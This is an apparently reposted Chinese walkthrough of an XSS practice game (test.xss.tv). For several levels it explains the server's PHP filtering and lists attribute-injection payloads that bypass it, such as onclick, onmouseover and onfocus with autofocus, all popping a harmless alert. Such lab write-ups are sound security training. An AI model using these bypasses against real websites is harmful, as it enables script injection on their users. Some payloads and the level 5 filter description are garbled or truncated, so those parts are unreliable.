XSS挑战小游戏

**

XSS小游戏

找到了一个xss练习平台,在线地址:http://test.xss.tv/

实验环境也可以本地搭建,不过需要php+mysql的环境:

xss通关小游戏:https://pan.baidu.com/s/1zS2GwTNbMBXEF2yNEBeLgA 密码:85g8
**
lvevel1:
XSS挑战小游戏_第1张图片通过查看右边源码发现$str从url接收一个get型name参数,且并没有进行任何过滤,直接echo出来,所以此时可以构造任意可弹窗payload.



....

lvevel2:
XSS挑战小游戏_第2张图片
从url中接受一个keyword参数,不过这里用到一个过滤函数htmlspecialchars(),将预定义的字符串转换为HTML实体,采用黑名单绕过.
payload:

" onclick=alert(/xss/)		//点击一下输入框触发
" onmouseover=alert(/xss/)		//鼠标划过输入框触发
 ">		//闭合input
 .......

lvevel3

XSS挑战小游戏_第3张图片
这个级别在input中也进行了htmlspecialchars过滤,只能使用js事件来构造payload
payloaad:

' onmouserover=alert(/xss/) //
相当于: 

lvevel4
XSS挑战小游戏_第4张图片

  1. str_replace(">", " " ,$str),此函数将变量str中的字符>转换为空,转换时区分大小写。同理将<装换为空
  2. 经过htmlspecialchars()函数,将一些预定义符号转换为html实体。
    payload:
" onfocus=alert(/xss/) autofocus="
" onclick=alert(/xss/) //
....

lvevel5
XSS挑战小游戏_第5张图片

  1. strtolower($_GET[“keyword”]) 将字符串转换为小写
  2. str_replace(" s t r ) ; s t r r e s p l a c e ( " o n " , " o n " , str); str_resplace("on","o_n", str);strresplace("on","on",str2);替换特定字符串
  3. 经过htmlspecialchars()函数,将一些预定义符号转换为html实体。
    使用伪协议构造 payload:
">
在这里插入代码片

lvevel17
XSS挑战小游戏_第13张图片使用了htmlspecialchars进行实体编码,和第三关就一样了,使用on事件。
构造payload:

arg01=123&arg02= onmouseover=alert(1)
arg01=123&arg02=%20onmousedown=alert`1`
arg01=123&arg02=  onmouseover=alert(1) type="text"在这里插入代码片

你可能感兴趣的:(XSS跨站)